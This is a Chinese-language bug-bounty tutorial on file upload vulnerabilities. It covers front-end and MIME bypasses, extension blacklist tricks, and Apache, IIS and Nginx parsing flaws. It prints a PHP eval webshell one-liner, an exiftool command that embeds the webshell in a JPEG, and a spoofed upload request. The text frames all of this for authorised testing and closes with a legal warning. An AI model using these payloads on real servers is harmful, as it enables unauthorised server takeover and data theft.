【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”
本文深入探讨文件上传漏洞的高危性及绕过技巧。文件上传是获取服务器权限的最直接途径,但常面临WAF拦截和服务器限制。文章详细介绍了绕过前端JS校验、后端MIME类型校验、黑名单限制的方法,以及利用Apache、IIS、Nginx解析漏洞的技巧。
上期回顾:我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞——文件上传。
如果说 SQL 注入是“偷”,那文件上传就是直接往人家服务器里安炸弹。💣
一、为什么文件上传是“高危”?
在 SRC 评级里,GetShell(拿到服务器权限) 通常是最高级(Critical)。
而文件上传,是实现 GetShell 最直接的捷径。
理想情况:
一句话木马-> 上传成功 -> 菜刀/蚁剑连接 -> 控制服务器。
现实情况:
一句话木马-> WAF 拦截(非法字符) -> 服务器重命名 -> 文件被放到无法执行的目录。
所以,我们需要“骗”过服务器。
二、绕过前端的“纸老虎”
很多开发以为在前端做个 JS 校验就安全了,这叫掩耳盗铃。
1. 场景还原
网页 JS 代码:
if (file.type != "image/jpeg") {
alert("只允许 JPG 图片!");
return false;
}
2. 绕过姿势
-
禁用 JS:浏览器按 F12,把 JS 禁了,随便传。
-
改包:先把马改成
.jpg上传,用 Burp Suite 抓包,再把文件名改回.php。 -
控制台修改:在 Console 里直接删掉校验函数。
SRC 提示:这种漏洞一般评 低危,因为稍微有点安全意识的厂商都会做后端校验。
三、绕过后端校验的“攻防战”
这是实战中最精彩的部分。
1. MIME 类型绕过(Content-Type)
后端代码逻辑:只允许 image/jpeg。
绕过:
抓包修改:
http
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg <-- 重点在这里,伪装成图片
2. 黑名单绕过(老版本的噩梦)
如果后端禁止 .php, .asp, .jsp。
试试这些冷门后缀(Windows/IIS):
-
shell.php5 -
shell.phtml -
shell.asp;.jpg(IIS 6.0 经典漏洞,分号截断)
3. 大小写与双写
-
大小写:
.PhP(Linux 区分大小写,但有些中间件配置不严谨)。 -
双写:
shell.pphphp(过滤php时,删除第一个php,剩下php)。
四、解析漏洞:给服务器“洗脑”
有时候你上传的是 .jpg,但服务器却把它当成 .php来执行。这就是解析漏洞。
1. Apache 解析漏洞
原理:Apache 是从右往左解析后缀的。
-
文件名:
shell.php.jpg -
解析顺序:
.jpg不认识 -> 继续往左 ->.php认识 -> 当成 PHP 执行。
2. IIS 6.0 经典姿势
-
目录解析:
/test.asp/shell.jpg(只要文件夹叫.asp,里面的文件不管啥后缀都执行)。 -
文件解析:
shell.asp;.jpg(分号截断)。
3. Nginx 解析漏洞(CVE-2013-4547)
Payload:shell.jpg\0.php
解释:Nginx 看到 \0(空字符)截断,认为后面是 .php,于是交给 FastCGI 处理,结果执行了前面的 JPG 内容。
五、实战演练:制作“图片马”
很多时候,服务器会检查文件内容(魔术头),不是 JPEG 格式直接拦截。
制作步骤(Kali Linux / CMD):
# 将一句话木马追加到正常图片末尾
copy /b normal.jpg + shell.php evil.jpg
或者用 Exiftool:
exiftool -Comment="<?php @eval($_POST['cmd']); ?>" normal.jpg -o shell.jpg
结果:
-
文件头是
JFIF(图片),骗过后端校验。 -
文件尾是
<?php ... ?>,服务器解析时执行代码。
连接测试:
上传成功后,访问 http://target.com/uploads/evil.jpg。
用蚁剑连接,成功 GetShell!🎉
六、SRC 报告中的“坑”
-
无解析:你传了个
shell.php,但它在/uploads/目录下,没有执行权限。结果:厂商可能忽略,或者评为“无效”。 -
自包含:你传了个文件,但无法访问路径(不知道存哪了)。结果:无法证明危害,评级降低。
报告技巧:
一定要截图证明 “能够执行系统命令”(如 whoami),而不仅仅是“文件传上去了”。
七、互动与思考
|
绕过姿势 |
适用场景 |
成功率 |
|---|---|---|
|
前端禁用JS |
弱智站点 |
90% |
|
MIME 绕过 |
仅校验 Content-Type |
60% |
|
图片马+解析漏洞 |
强校验文件内容 |
极高 |
💬 互动话题:
各位老司机,你们当年第一次 GetShell 是用什么姿势?是经典的 phpinfo()探针,还是直接 system('calc')弹计算器装逼?😎
⚠️ 法律红线警示
-
严禁在未授权服务器上传 Webshell、挖矿病毒或任何形式的恶意软件。
-
严禁利用 GetShell 权限查看、下载或篡改服务器内的用户数据(这是犯罪!)。
-
测试原则:证明可以执行
phpinfo()或简单的echo命令即可,立即停止,切勿进一步深入。 -
靶机练习:请在本地搭建 Upload-Labs、DVWA 等靶场进行练习。
技术是把双刃剑,拿剑的手决定了它是凶器还是护盾。请务必守住法律底线。 🛡️
下一期,我们将进入 “业务逻辑漏洞(上)”。告别代码层面,我们要开始“骗人”了——如何通过修改数据包,把别人的快递改寄到你家?敬请期待!
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐
所有评论(0)